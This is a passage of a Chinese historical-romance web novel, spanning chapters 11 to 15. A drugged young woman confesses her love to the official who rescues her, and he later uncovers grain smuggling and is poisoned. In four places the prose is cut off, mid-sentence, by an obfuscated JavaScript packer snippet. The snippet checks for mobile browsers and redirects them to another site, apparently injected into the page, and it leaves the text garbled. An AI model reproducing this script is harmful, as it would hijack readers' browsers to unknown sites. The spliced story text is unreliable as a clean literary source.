马车里一直备着几身谢瑜常用的衣服。谢瑜看也没看,摸索着,按照记忆中的位置寻找,有些慌乱地从身后抓起一件玄色披风,一把将女子罩住,裹了个严严实实。 他低声哄道:“阿遥,听话。你再坚持一下,很快就到医馆了。” 指尖却仿佛被灼烧了一般,还残留着刚才少女身上滚烫的体温。 方才他碰到她的肌肤的时候,感觉到她的体温烫得惊人。 一如初见那日,她发着高热的体温。 不同的是,这次的她不再昏迷,反而痴缠得紧。 没能成功缓解燥热的江遥似乎很不满意,她挣扎着。可那点反抗的力气放在谢瑜身上,简直微乎其微,那件披风始终牢牢地桎梏着她。 就在谢瑜松了口气时,江遥忽然抬起头,目光直直地望向他。 少女发髻凌乱,那双曾经明亮若星子的眼睛如今醉意朦胧,似含着一汪水,长睫煽动的瞬间泪水滴落,将她脸上原本精致的妆容晕开。 泪水一滴一滴,正好滴在谢瑜的手上。 泪滴带着女子灼热的体温,温度滚烫,烫得谢瑜指尖瑟缩了一下。 眼前人带着哭腔,像只小猫一样,委屈地道:“知白哥哥,我真的好难受,你能不能帮帮我?” 谢瑜愣了一下,有些心疼。 手上动作不禁放松了下来。 江遥逮到机会,终于挣开那碍事的披风,她忽地抓住谢瑜的衣领,对方因没有防备,一下被她拉到了自己身旁。 两人的距离在霎那间拉近,彼此呼吸可闻。 少女的馨香混杂着酒意扑面而来。 谢瑜身形僵硬,想要阻止她,刚要抬起手,却被她接下来的动作惊到,手突兀地停留在空中。 她将手放在他的腰间,自上而下,一下一下地抚摸着他的脊背。 谢瑜的体温比起她的体温,低了许多。 她在触及他脊背的瞬间,满足地喟叹了一声。 可久旱逢甘霖,江遥岂会就这样轻易满足。 “不够,不够,还要更多。” 体内的痒意叫嚣着让她更进一步。 她微微抬头,唇瓣就这样贴上了他的脸。 她方才咬破了唇瓣,带着血迹的唇瓣就这样在他脸上轻轻摩擦,留下点点红痕。 谢瑜终于反应过来。 就在她试探着要吻上他的唇的时候,肩膀突然被人大力捏住,她被强制和他拉开了距离。 年轻男子瞳孔震颤,大有震惊之意。 他喘着气,不顾她的挣扎,将那件披风重新盖在她身上。 不,已经不能叫盖了。披风被谢瑜打了个牢固的结,在护住少女身躯的同时,也捆住了她的手脚,不让她继续作乱。 谢瑜大力箍住她的肩膀,试图叫眼前人清醒一些。 “江遥,你知不知道我是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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少女那句话反反复复在他耳边回荡,胸腔里的心脏因为这句话而不可抑制地跳动得越来越快。 越想要保持理智却越难以克制。 谢瑜垂眸,忽地看到地上江遥掉落的发簪。 那是一只金海棠蝴蝶步摇簪。 江遥出门前还曾问他,带此簪是否过分张扬。 谢瑜只是淡淡摇头,唇边笑意浅淡:“既然你今日扮演的是红颜祸水,那自当璀璨夺目些。” 而现在,那只被他夸赞璀璨夺目的簪子孤零零地躺在角落里,光芒暗淡。 谢瑜捡起它,眼底是一片骇人的平静,他用冰凉的簪子,对准自己的右臂内侧,毫不犹豫地划了过去。 霎时间,那只少女没舍得咬的胳膊变得鲜血淋漓。 原本克制不住的欲望转而被清醒的痛意代替。 可这痛意却令谢瑜感到一种难言的踏实。 谢瑜撕下一片衣角,随意地为自己包扎好,然后拉下衣袖,盖住了那道伤口,恍若什么事都没有发生过。 再抬眸时,他仍旧是那个清醒克制的谢知白。 12. 清冷正直世子12 玉春医馆楚州分馆,特制的琉璃灯将用鎏金大字写就的招牌照得清清楚楚,隔着一条街就能望见。 谢瑜就这样抱着昏睡的江遥敲开了医馆的房门。 开门的也是个年轻的杏眼姑娘,此时已至子时三刻,她却没有半分被扰清梦的不耐,反而神采奕奕,手里还拿着算盘,想来方才应该是在总账。 听见来人的来意后,她很是客气地将三人迎进了馆内,并让谢瑜将江遥放在医馆内室的小榻上。 从江遥药效发作到来到医馆,时间堪堪过去了半个时辰,而江遥已经难受至极,身上出的汗浸湿了外面罩着的玄色披风,在睡梦中还流着泪,手紧紧地抱着谢瑜的右臂,恍若这是她唯一的解药。 谢瑜将她放下时,她仍然不肯舍弃这薄弱的凉意,不愿放开谢瑜的胳膊。 谢瑜无论怎么扯,都无法将他的胳膊从江遥怀里扯出来,又怕力气太大,惊醒了她。他有些无奈,只好就这么让她抓着。 那位年轻大夫给江遥号了号脉,果然觉得这脉搏跳动得厉害,还大有愈演愈烈之势。 神情登时严肃了些。 她当机立断,让身边的药童去烧水,为江遥准备药浴。然后才对谢瑜解释:“这姑娘体质弱,若是一直忍到药效结束,怕是会有性命之忧。然我医术不精,并不能为这位姑娘解了这腌臜药,只能让她在药浴中浸泡,缓解些痛苦。” “稍后我会让药童熬药,待这位姑娘喝下后,可保性命无虞。” 闻此言,谢瑜淡淡看了眼身侧的墨砚,墨砚接收到指令,迅速跟上即将要走出门的药童,跟药童一起去烧水了。 谢瑜起身,对着面前的大夫深深鞠了一躬:“深夜叨扰,实在抱歉。待舍妹痊愈,必重金答谢。” 年轻大夫一听到“重金”二字,眼睛就弯了起来,与江遥笑起来时不同,她的眼尾微微上挑,带着些高傲,又带着些市井气,却并不让人反感。 尽管看上去很高兴,但她面上还是很有礼节地客气道:“我叫季半夏,是这医馆的少东家,您叫我半夏就行。这次也是巧了,平时这个点儿馆内都是没有人在的,但今日正逢我从京城来分馆巡视,查账查得晚了些,才能赶上救这位姑娘。” 谢瑜点了点头,而后重新将视线放在江遥身上。不难看出此时的他并没有多少寒暄的心思,全副心思都放在榻上之人那里。 季半夏犹豫了下,还是问道:“您这胳膊真的不需要重新上药吗?” 墨砚恰好在此时折返回来取药浴的药材,听到这话愣了一下,顺着半夏的视线望去,果见自家世子右臂的衣衫上隐隐透出血迹。 因着谢瑜今日穿的是深色衣服,又加上夜色已深,方才下车时他竟然没有发现。他垂下头,眼神带着愧疚。 谢瑜只淡淡摇了摇头,说了句:“小伤而已,无妨。” 他的右臂还被江遥抱着,她好不容易睡着,若是此时强硬抽出,一定会把她惊醒。 “那您脸上的这痕迹也不用擦?”半夏又指着他脸部内侧的一点血迹问。 她本来是好意,想着对这位财神爷热情些,可没想到这句话一出口,她就感觉眼前这位年轻男子好像僵硬了一瞬。 季半夏:可能是我太冒昧了? 经过半夏的提醒,谢瑜此时才想起之前在马车上时,江遥那个带着血气与酒意的吻,以及那个吻在他脸上留下的血迹。 他不自觉摸了下自己的脸颊,不可避免地回忆起少女双唇贴上来时那柔软的触感。 方才竭力控制住的欲望又重新在此时从心底一下子蒸腾上来,然后在脑子里像烟花一样砰地炸开,炸得他的耳朵都微微发粉、心脏砰砰乱跳。 谢瑜像个做了亏心事的稚童,强壮镇定地擦了擦那一处皮肤:“现在擦干净了。” 好在似乎没有人识破他的伪装。 墨砚在拿完药材后就离开了,半夏也很有眼色地退了出去。 屋内只剩下了他和昏睡的江遥。 榻上的女子全然不知道方才发生了什么,仍旧抱着他的胳膊,口中似在喃喃自语,却听不真切。 谢瑜低头,凑近她。 终于听清她那句很轻很轻的呓语,她说:“知白哥哥,很好亲。” 窗外,忽地刮起一阵风,起初只是簌簌几声,吹动树梢,也带起院中池塘点点涟漪,而后风愈来愈大,卷起漫天残红与柳絮,院中树木也被吹得枝干相击,池塘的鱼儿被惊得不断跃出水面。 树欲静而风不止。 这个夜晚还很长,长得足够让清风吹皱一池春水。 * 蒸腾的水汽间,江遥衣衫尽褪,泡在浴桶中。因药材而产生的清凉感暂时压制住了她体内的那股酥麻痒意,她放松地倚靠着桶壁,感受着自己的理智一点一点地回归。 如果说,之前的她有三分理智,那么现在的她已经恢复成了八分。 吴永廉下在酒中的药果然霸道,哪怕江遥已经有了些心理准备,在真正感受到那种蚀骨的痒意与燥热之后,还是差点屈从于欲望。 那种糟糕的感觉,她真的不想经历第二次了。 她张开手,掌心向上,露出一排月牙形的细小伤口,那是之前她为了保持理智,将指尖嵌入了肉中而留下的。 不只掌心,连双臂都被她咬出了很多伤口。直到后来,谢瑜缚住了她的手,不让她再继续伤害自己,然后强硬地掰开她的唇,让她咬自己的手。 如果是清醒状态的江遥,是决然不会咬他的。他身上已经伤痕遍布,她不忍心再添上新的伤痕。 可那时她刚刚吻过他,完成了计划中的一环,心间骤然放松下来,加上药效愈演愈烈,意识昏沉间,她竟然真的咬了他。 也不知怎的,明明那时还没咬,她却从他身上闻到了很浓重的血腥气。 她咬上他的时候,他为她拨开脸上被汗水浸湿的一缕鬓发,声音明明极尽克制却仍能听出温柔与安抚,她听见他说:“阿遥,很快就会过去了。” 那句话带着独属于谢知白的关怀,若夏日凉风,骤然吹去人心上的燥热。 江遥闭着眼睛,松开了口,可抓着他的手却并没有放开。 她感觉到自己的眼泪在慢慢流出,有人用带着凉意的手轻轻用手帕为她擦去。 江遥想,这世间怎么会有人好成这样?谢知白,你真是傻,傻到看不出我喜欢你,却又对我这样好。 看着房门前站着的那道挺拔如松的身影,江遥深深叹了口气。 方才恰到好处的水温已经变凉,时间已经不知不觉过去了一个多时辰。 谢瑜担心她一个人在屋子里会出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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谢瑜想了想,提出了自己的解决方案:“今夜之事,我只当你是醉了。” 江遥很平静地笑了一下,她的眼神不似之前那样醉意朦胧,反而比平时更加明亮,像一面镜子,轻易地就能识破他的伪装。 她一步一步地走近他,将两人先前那道无形的界限消除,语气认真又坚定:“可是知白哥哥,我没有醉,我清醒得很,我一直知道我心悦你。” 又一束烟花在谢瑜脑中炸开。没人知道那时谢瑜有多么震惊,他眼前的世界仿佛被抽离,耳边只听得到那句“我心悦你”在反复回荡。 过往种种在他眼前重演:她送他的香囊、她为他赎回的玉佩还有她睡梦中的呓语,那些他以为是她对兄长的孺慕之情,原来却是她对他的爱慕之情。 原来她心悦他。 谢瑜退后半步,沉默了一瞬间,指节被他攥得发白。 他想,她年岁尚轻,未曾见过更大的世界,也没接触过其他的男子,一时会误会自己的心意也是有的。 她还有大好年华,不值得把情爱与时光浪费在他身上。 谢瑜喉结滚动,正要说些什么,却被江遥的手掩住口。 江遥止住他的劝告,定定看了他几秒,仿佛要窥进他的内心深处,她反问道:“那知白哥哥你呢,你对我,就真的没有半分私心吗?” 谢瑜一怔。 13. 清冷正直世子13 今日的州衙颇有些不平静,各级官员和衙役们议论纷纷,都在担忧城内是否出了什么邪祟。 原因是他们的知州吴永廉昨日夜晚还在府内大摆宴席,今日就称病不理州务,将一切事情都丢给了通判宋清时。 有传闻称是因为那位京城来的谢大人在宴席之后对知州大打出手,生生拧断了知州的胳膊,还险些将他掐死。 一位衙役对此传闻评价道:“这传闻也忒离谱了。那位谢大人虽然面上看着冷了些,但毕竟是个京城来的官儿,犯不着会对一个知州动手吧?” 司户参军杨文博也连连附和:“我瞧着还是知州撞邪的可能性大。听说宴席结束已临近子时,那会儿阴气重,知州素日又没少做亏心事,自然容易招惹些不干净的东西。” 当然,除了知州莫名抱恙,还有一件更让人感到奇怪的事,那就是他们那位平日里从来都是迟到早退、除了份内公务便不肯再多干一点差事的小宋大人,面对知州大人丢来的一应事务居然没有任何异议。 而且他今日还破天荒地提早到了州衙,如今正在二堂和谢、许两位大人议事。 州衙里的众人:今天居然可以在点卯前见到小宋大人,他一定是被邪祟附身了。 而州衙二堂内,他们口中的议论焦点宋清时正饶有兴致地调侃着面前的故友。 从坐进屋中开始,谢瑜就一句话没说。 宋清时押了口茶,带着些戏谑的眼神看着谢瑜。他的眼眸颜色很干净,是一种偏冷的茶色,在室内明亮光线的照射下泛着浅淡的光泽。 他漫不经心地提起昨晚的事情,声线散漫又随意:“说吧,昨晚究竟发生了什么事?我可是为了你,接下了吴永廉塞过来的麻烦事,又起了个大早来州衙,你不会就单单是来让我看你冷脸的吧?” 谢瑜终于抬起头,很简短地总结了昨晚发生的事情:“看不惯吴永廉,教训了他一下。” 刚喝了一口茶的许远宁噗地一声将口中的茶水吐了出来。 她擦了擦嘴,有些不确定地询问道:“只是教训了他一下?” 她怎么听说的版本是谢瑜将人按在墙上暴揍,不仅拧断了他一只手还险些将他掐死呢。 宋清时倒是很淡定地点了点头:“打得好。看来这是你和我这么多年以来最有默契的一次了。” 吴永廉这厮业务能力实在太差,平白给作为下属的宋清时增添了许多工作量,他早看这人不顺眼很久了。 谢瑜无心回应宋清时的答话,清俊的面容在袅袅茶烟中显得如梦似幻,让人觉得他是那么遥远。 他摩挲着杯沿,蒸腾起的水汽化作一滴水,那滴水顺着杯壁,恰好滴落在他虎口的牙印处。 恰如昨夜女子咬上他时,滴在手上的汗珠。 谢瑜无意识地动了下手指。 “那知白哥哥你呢,你对我,就真的没有半分私心吗?” 他忽然又想起昨夜江遥的问话。 那时他心绪纷乱,心间无数个念头闪过,却无法对她言明,只丢下句“我只是希望你此生能快乐无虞”就逃也似地离开了她的屋子。 他甚至连一句“问心无愧”都说不出口。 因为连他自己都说不清楚,他对她,是否真的只是兄妹之情。 可他明明答应了她的兄长,会待她如亲生妹妹一般疼爱,如今自己这又是在做什么? 看着身边的故友,谢瑜终于忍不住问出自己心间的疑惑: “如果,一个你没从想过的人,对你剖白心意,你当如何?” 他这问题问得很直白,许远宁听到后蓦地抬头,眼中先是有些许吃惊,旋即转化为洞悉一切的明澈。 她饶有深意地看了眼谢瑜,内心感叹道:看来吴永廉这个蠢货,倒是意外地把谢瑜和江遥的关系推近了一步啊。 宋清时似乎对谢瑜这个突如其来的问题并不感到吃惊,依旧懒洋洋地靠着椅背:“你说得是昨日随你一同来州衙的那位姑娘吧?” 楚州怎么说也算是他的地盘,对于这个地方发生的事情他又怎么会真的全然不知。只不过先前谢瑜不说,他也便随着谢瑜装糊涂罢了。 宋清时少时便和谢瑜认识,对这人的性格再了解不过,知道他不会随意出手。所以他猜测,吴永廉这次一定是踩到了谢瑜的底线,才会引得他如此气愤。 而他的底线,莫过于是那位江姑娘了。 谢瑜没有说话,算是默认了。 宋清时将目光放在杯中起起伏伏的茶叶上,忽而提起了一桩旧事:“少年读书时,无论是书院先生还是诸多同窗,皆说你性格稳重,不会为一般小事动怒。可有一次,我不小心碰了下你救的一只雏鸟,你便径直与我动起手来。” 谢瑜虽不知他是何用意,却还是瞥了他一眼,淡淡道:“那难道不是因为你前一天拨弄鸟笼,差点把它吓死,我心有余悸吗?” 宋清时没好气地看着他,摇了摇头,觉得对方真是一根木头。 他为自己又倒了杯茶,余光无意中瞥见谢瑜还受着伤的右手,终是耐着性子慢声引导道:“可那是你第一次对我动手。在那之前,我还弄坏了你两支毛笔、趁你睡觉时在你脸上画乌龟、用你的名号去四处闯祸……这些事,都不曾让你动怒。” “我起先觉得人怎么可能不会动怒,你这人活脱脱像个泥捏起来的菩萨。直到你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491222|202237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因为那只鸟与我动手,我才知道,原来你之前不是不会动怒,而只是不在意而已。若是真的在意一样东西,你不会让别人伤害它半分,比如那只雏鸟。” 又比如江遥。 昨日江遥和谢瑜一同来州衙时,吴永廉许是被她的容貌惊艳到了,眸光明里暗里落在江遥身上。 谢瑜看他的时候,分明目光平静极了,眼神毫无波澜,却令人觉得有莫名的冷意。 他说:“吴大人,你这双眼睛若是不想要了,谢某可随时帮你剜去。” 吴永廉登时歇了心思,再不敢瞧江遥一眼。 而那时的江遥却还无从察觉,她正专注地和身边的许远宁参观州衙,虽然刻意打扮得像红颜祸水,但行为动作又带着掩饰不住的清新活泼。 这姑娘的演技很是一般啊。 看得宋清时都忍不住笑了一下,他想,谢知白这样呆板无趣的人居然有一个这样好玩的“妹妹”。 这样的人必不会是他身边那些训练有素的暗卫。 也是因此,从初见,宋清时就断定,谢知白喜欢她,不然以他的性子,是不会把一个普通女眷带在身边的。 而今看着正在思索的谢瑜,宋清时放下茶杯,轻笑了下:“所以谢知白,你好像并不清白。” 他拍了拍谢瑜的肩膀:“你对她的心思,分明已经昭然若揭,何不顺从本心?” 顺从本心?!! 眼前重重的迷雾被拨开,谢瑜脑中杂乱的思路就这样轻易被人理顺,梳理出一条清晰可见的道路,而这条道路的尽头,站着笑靥如花的女孩,她眼神清亮,站在尽头喊着“知白哥哥。” 谢瑜脑海中响着各种声调的“知白哥哥”,有哀伤的,有欢快的,这些声音最终汇聚在一起,合成一句“我心悦你。” “知白哥哥,我一直知道我心悦你。” 昨夜少女坚定的脸庞犹在眼前。 心脏跳动得厉害。 谢瑜瞳孔骤然放大,呼吸一瞬间停滞。 右臂的伤口还在隐隐作痛,他却恍若不觉,抬起手,将手放在胸腔上,感受心脏因为那个人而产生的剧烈跳动。 原来身体会比大脑更早意识到他的想法。 刹那间,谢瑜洞察到了自己的心意。 昨夜夜色无边,他对着夜空想了一夜也没有想出的问题,突然就有了答案: 他的确心悦她。 又或者说,从一开始,先动心的就是他。 雪中初见,一眼万年。 那一日大雪纷飞,满地雪白,她穿着一身粉衣,倒在他的马车前。 从此以后,他的世界再不止是单调的白。 14. 清冷正直世子14 终于解决了心中大事的谢瑜在和众人讨论起政务,显得精神多了。 谈及天子密令,谢瑜饶有深意地看了眼宋清时:“没猜错的话,那道密令是你上报给天子的吧。” 虽然是在询问,但他的语气很肯定。 宋清时嗤笑一声,虽然斜靠在椅子上,可却自带一派风雅。 他嗓音略带慵懒:“怎么,刚帮你解决了情感问题,你就这样开门见山地质问我,真是直白啊。谢知白,你知道你在御史台一众只论规制、不论是非的监察御史中,有多么不合群吗?” 他长叹一声,状似遗憾地感叹道:“看来这么多年过去,你还是没学会和光同尘啊。” 可茶色眼眸中的笑意却分明暴露了主人的好心情。 谢瑜指了指他腰间挂着的棱角未磨的鎏银官印,唇角弯起一丝弧度,回敬道:“你不也一样。听闻数月前你因为王刺史虚报价目,亲手用官印砸碎了王刺史最为心爱的砚台。” 官场污浊,有人为权势折腰,亦有人踽踽独行,如少年般赤诚。 两人相视一笑。 宋清时缓缓起身,绕过山水屏风,走到一张紫檀木书案前,伸手在书案侧面雕花板的位置推了一下,抽出夹层中的一本书。他将这本书放在了谢瑜和许远宁面前,散漫的神情中终是多了几分认真: “这是我着人誊抄的仓廪历,上面记录了从各转运处运送来的粮食数量。” 他用修长的手指一页一页翻过仓廪历,对另外二人解释:“从去年开始,我便发现记录的数量与实到数量有出入。暗地里追查下来发现,每年都有一些货物被上报损耗,可正常情况下,损耗根本不会如此之多。” “我猜测这些被上报损耗的货物一部分被转移到了楚州的黑市售卖,另一部分则被秘密转移到了京都黑市售卖。有些可惜的是,那帮人狡狯得紧,我派人盯了多时,也不曾露出马脚。” 自漕运传统以来,由于涉及利润巨大,官员走私案频出,官商勾结更是常态。景德帝登基以后,开启新政改革,严查漕运,情况这才有所改善。没想到时隔几年,竟然又有人走私货物。 谢瑜目光沉沉:“这些天我们在码头秘密走访了许久,确实发现有几艘船吃水严重,这可能就是那些货物被隐藏的地方。我已经叫剑书带人跟踪了。” 许远宁翻了翻账目,发现这些记录的数目看似正常,实则前后矛盾。 她眼神闪过一丝深意,暗想:这账目做得如此粗糙,连我都骗不过,又怎么能骗过宋清时。 吴永廉真是个蠢的,难怪为官这么多年还只是个楚州知州。哪怕她如今有心为他遮掩,也无济于事了。 她想了想,道:“霜序说得没错。昨日吴府的那位管家在向我请教账目问题时,我略略翻了几眼吴府的账本,发现有几笔入账,账面写得十分含糊,既非来自吴永廉的俸禄,也非他名下的田产铺面,如今想来,委实可疑。” “若能捉住那位吴府的管家,也许会有新的突破。”谢瑜道。 宋清时眉梢轻挑:“这好说,如今我代掌知州之权,随便找个由头扣下他就是了。” 一番商量之后,几人决定分头行动。由宋清时负责吴府管家那头,谢瑜和许远宁则负责追查运船。 * 客栈内,江遥房间外,谢瑜迟疑地站在门口,想要敲门的手已经伸出,却又忽然落了回去。 女子低低的咳嗽声从门内传来,一声一声,轻轻敲击着谢瑜的心,让他的心一阵疼痛。 昨日江遥站在门边,终究是吹了风,加之昨夜服用过凶猛之药,内外冲击,今日一早,她便病了,高烧不退。 谢瑜便又派人将那位玉春医馆的季大夫请了回来,付了重金,请她帮忙在客栈照顾江遥几天。 晨起由于有公务在身,再加上他思绪纷乱,在将江遥交给半夏照顾后,他便去了州衙。如今已经明确了自己的心意,再次站在她房门前时,竟会有种忐忑的感觉。 正在他犹豫的时候,面前的门毫无预兆地打开。开门的正是季半夏,她手里还端着铜盆,正要去换水,陡然间看到站在门外的谢瑜,被吓了一跳,差点将铜盆里已经凉透的水全倒在谢瑜身上。 好在她及时稳住身形。 半夏吸了口气,反应过来后,回身看了眼屋内,确定江遥并没有被声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491223|202237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 音惊醒后,小心翼翼地关上了房门。 她压低声音道:“谢大人,你怎么总是神出鬼没的,可真是吓死我了。” 谢瑜接过她手中的铜盆,轻声问:“她怎么样了?” 提起江遥,半夏也正色道:“刚服了药,睡下了。也是奇了,按道理说喝了药应当会好一些的,可江姑娘这烧却迟迟退不下来。或许是昨夜之事还是给江姑娘带来了些阴影,这自古心病最难治,要想让她痊愈,还得多多宽慰她的心情。” 昨夜究竟发生了什么,谢瑜再清楚不过。听完半夏的话,他神色一凛。 连开了几家医馆分馆的半夏是多精明的一个人,走南闯北多了,这类儿女情长的事自是没少见。 瞥见谢瑜的神情,她就隐约猜到里面那位江姑娘的心结可能就在这里。 半夏笑了一下,又重新从谢瑜手里拿回铜盆:“这换热水的事还是交给我就好了,您还是进屋去陪陪江姑娘吧。” 她接了铜盆,迈步走下几级台阶。 暮春时节,客栈已经将楼梯拐角处的那个青白瓷瓶里的花换成了蔷薇,粉色花朵高低错落地插在瓶中,加上紫菀、野菊等淡雅的小花作配花点缀,很有一番生机勃勃的感觉。 直走到拐角处时,半夏忽然停下,背身对谢瑜道:“有句话,我想了想觉得还是应该告诉您。” 谢瑜一怔,道:“请说。” 半夏回眸,身后是开得绚烂的蔷薇花,清甜的香气与她随之响起的话语,一同传到谢瑜面前: “有花堪折直须折,莫待无花空折枝。” 春光明媚,情爱趁年华。 看在这位大人出手还算阔绰的份上,她倒是可以提点一二。 半夏再度转过身去,继续下楼的背影深藏功与名。 谢瑜眼眸中划过浅淡的笑意。 那时的谢瑜觉得他和江遥之间的时间还有很多。日子那么长,他总会找到机会,他会伴她春日赏花,夏日游船,秋日登高,冬日赏雪。 可当后来,每每回忆起与江遥在一起的这段时光,他都觉得是那样短暂。 原来,他们之间最缺少的才是时间。 15. 清冷正直世子15 夜幕降临,数十个力夫打扮的人从漕船上跳下来,谨慎地查看四周,见四下无人,方开始准备今天的行动。 一个身形又矮又瘦的力夫撅起嘴,做出吹口哨的动作,第一声悠长,后面跟着的几声略显急促,声音一长三短。 在他们的视线盲区,谢瑜和许远宁躲藏在堆叠着的粮包后,观望着他们的行为,一连跟了几日,终于发现了他们的行踪,两人暂时都不想打草惊蛇。 码头外围,还埋伏着更多的人手,只等谢瑜拉响信号弹,就急速赶来支援。 少顷,另有一艘较小的渔船从不远处的河面上划来,船上只有一个人,还带着草笠,看不清面容。 甫一靠近岸边,他便对吹口哨的那人低骂了一句:“王五,你们知州是糊涂了吗,宋清时暗查时,你们尚且避了又避,唯恐他发现了端倪,而今那个京都来的监察御史就在楚州,怎么还敢堂而皇之地叫我来运货?” 王五挥了挥手,示意手下人可以开始运货了,眼见身后的人开始运作起来,他才回答道:“今日这批货那边要得急,知州也是没有法子。况且知州说了,谢瑜那人不过是一外强中干之人,如今恐怕正和他那情妹妹蜜里调油呢,不会有闲心管我们的。” 戴斗笠的汉子听了这话反而笑吟吟地讽刺道:“外强中干?你们知州都险些被人家掐死,还好意思点评人家。”话虽是如此说,可心里却放松了警惕。 王五冷哼一声,虽有怒容,却念在事态紧急,忍下了这句讥刺,只道:“你懂什么,我们景国人有句话叫英雄难过美人关,即便是谢瑜那等看似没有心肝之人,遇见了美人也会昏头昏脑。” 两人就这样有一搭没一搭地聊着。 如同此前的多次合作,一行人借着月光,动作麻利地将漕船上藏起来的货物运往渔船上。 眼看货物已经运了一大部分,戴斗笠的汉子突然想到了什么,问道:“我听闻这谢瑜身边还跟着位户部官员,不知道此人是何许人也,又会不会碍我们的事?” 水声潺潺,夹杂着运货汉子们粗重的喘气声,掩盖了利刃出鞘的声音。 王五还未来得及回答,便看见寒光一闪。 许远宁左脚踩在一个低矮的粮包上,借力一跃,径直落到斗笠汉子身前,冷声道:“能不能碍你们的事,试试不就知道了。” 长剑在她说话的瞬间划落,眼看就要落在背身与王五说话的斗笠汉子身上,斗笠汉子却被反应过来的王五推开,王五又抬掌对许远宁使出一击。 许远宁为躲避攻击,脚上调转方向,剑尖刺中对面人的肩膀,拔出的瞬间径直将斗笠汉子的衣衫划破,还带出一片鲜红。 “该死,今日被你们摆了一道。”王五懊恼道。他拿出掩藏在货物中的佩剑,朝谢瑜的方向刺去。 其余的运货汉子们也反应过来,抄起家伙,一行人分为两队,分别朝谢瑜和许远宁的方向杀去。 谢瑜侧身一躲,王五的剑身堪堪划过他的耳畔,削去他一缕发丝。他面不改色,拉响线绳,信号弹应声而燃,如同烟花一般在空中炸开。 烟火升空的瞬间,光芒照亮了许远宁的脸庞,斗笠汉子瞥见其面容后一愣,惊道:“没想到居然是你。” 他的眼神登时狠辣了起来,旋即抽出腰间的弯刀,那弯刀又薄又利,直冲许远宁而来,招招致命。 另一边,谢瑜以剑格挡,抵住王五接下来的一剑,他手腕向上一挑,王五手中的剑竟然直接被他挑开了,“咣当”一声落在了地上。 王五面色一变,转瞬间将内力汇于一掌,谢瑜一边应付其余人的招式,一边单手按住王五的胳膊,将他整个人调转方向,王五反应不及,那汇聚内力的一掌径直打在了自己同伴身上。 被击中的汉子吐了口血,昏死了过去。 顷刻间,谢瑜剑尖一转,剑锋抵住王五的脖子,王五屏住呼吸,神情僵硬,不敢再乱动。 谢瑜淡声对其余人道:“尔等若是再负隅顽抗,只会像他一般,死路一条。” 与此同时,收到信号的剑书带着一应暗卫匆匆赶来,混战中的众人眼见领头人被擒,群龙无首,又深知打不过谢瑜带过来的这一群训练有素的人马,纷纷放下武器,举手投降。 谢瑜将王五交给剑书,其余的暗卫也陆陆续续将已经投降的运货汉子们抓了起来。 方此时,本已经放下弯刀的斗笠汉子眼中划过一丝狠厉,抬起手,按动藏在袖中的袖箭,三箭齐射,直冲许远宁致命穴位处一击。 他抬手的瞬间,右侧肩膀的衣衫上那道已经被撕破的口子因着剧烈的动作,被拉扯得更大,径直露出了肩膀处那道银色的刺青。 那是一道首尾相接的银环蛇,在月光照耀下闪着银辉,又透着一点诡异的红色。 这样的刺青许远宁再熟悉不过,因为那是盛国暗桩的标记,每逢运功或情绪激烈之时,肩膀上的刺青就会显现,许远宁的肩膀上也有这样一个刺青。 许远宁蓦地一愣,分神的瞬间,手上剑招一个疏忽,没来得及挡下第三枚袖箭。 一柄长剑在她身前掠过,径直将袖箭砍成了两截,剑的主人正是不远处的谢瑜。 斗笠汉子将头上的斗笠摘下,用力一击,斗笠便化作武器,若一阵疾风,朝谢瑜二人袭来。 趁谢瑜挡下斗笠的瞬间,“咻咻”两声,斗笠汉子又射出两支袖箭,谢瑜来不及躲闪,左胳膊生生受了一箭。 回过神的许远宁打落了另一箭,手中长剑直冲斗笠汉子的脖颈,她将长剑架在了斗笠汉子的脖子上,神情冷厉,却还是压低了声音问:“是萧远起派你来杀我的?” 斗笠汉子嘲讽一笑:“你永远也别想知道。虽然这次没能把你带进地府陪我,但是能拉上那个姓谢的垫背,我也是赚了。”他动了动嘴,鲜血顷刻间从他唇边溢出。 许远宁蓦地反应过来他口中的意思,心里一紧,冲谢瑜高声道:“箭上有毒。” 下一秒,谢瑜身形一晃,不受控制地倒了下来。 * 迎宾客栈,谢瑜房间内。 寸许长度的袖箭斜沉在铜盆水底。榻上之人昏迷不醒,他左臂的伤口已经被纱布包了起来,渗出一片乌黑的血迹。 半夏拿出细长的银针,往他的关键穴位扎去。 一旁等候的江遥看着这一幕,心中百感交集,可面上却平静如常。她想,这一天终究还是来了。 自那一夜的表白后,江遥一病不起,每日高烧不退,昏昏沉沉地躺在床上。而谢瑜又在忙漕运走私一事,只能在调查的间歇来看望江遥,或是晌午,或是深夜。 而每次来时,她都多是服了药在入睡。谢瑜不愿吵醒她,总是在她的床榻前默默守着。或是为她换下头上的布巾,或是在她睡得不安稳时,轻拍她的肩膀。 如今细细想来,她病的这些日子里,他们竟然没有好好说过一句话。 